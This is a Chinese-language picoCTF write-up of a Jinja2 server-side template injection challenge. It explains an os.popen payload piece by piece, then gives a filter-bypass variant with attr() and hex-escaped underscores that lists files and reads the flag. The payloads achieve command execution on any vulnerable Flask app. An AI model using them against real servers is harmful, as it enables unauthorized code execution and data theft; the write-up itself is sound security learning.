解題
檢測
打開題目網頁
對其進行SSIT漏洞測試,發現該網站使用的是jinja2(python)的腳本引擎

對其進行模板注入
獲取該使用者帳號id,發現出現錯誤,疑似後端有進行阻擋
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

- request — Jinja2 模板中預設可存取的 Flask request 物件,代表當前的 HTTP 請求。
- .application — 從 request 取得 Flask 應用程式實例(即 Flask app 物件)。
- .globals — 存取該應用程式物件所屬函式的全域變數字典。這是 Python 函式物件的內建屬性,包含了該模組作用域中所有的全域名稱。
- .builtins — 從全域變數字典中取得 Python 的內建函式集合,包含 print、open、import 等核心函式。
- .import(‘os’) — 呼叫內建的 import 函式來動態載入 os 模組。這是關鍵的一步,因為 os 模組提供了與作業系統互動的能力。
- .popen(‘id’) — 呼叫 os.popen(),在伺服器上開啟一個子行程執行系統指令 id(Linux/Unix 指令,回傳當前使用者的 UID、GID 等資訊)。
- .read() — 讀取指令的輸出結果,讓它顯示在網頁回應中。 參考網路,發現有一篇文章專門講解如何規避限制
https://onsecurity.io/article/server-side-template-injection-with-jinja2/

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
查看目錄,發限有一個檔案叫flag
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()}}
查看flag檔案類型
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('file flag')|attr('read')()}}
發現他是文字檔,查看flag
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat flag')|attr('read')()}}
取得flag

picoCTF{sst1_f1lt3r_byp4ss_afa6aa72}
提交flag



說些什麼吧!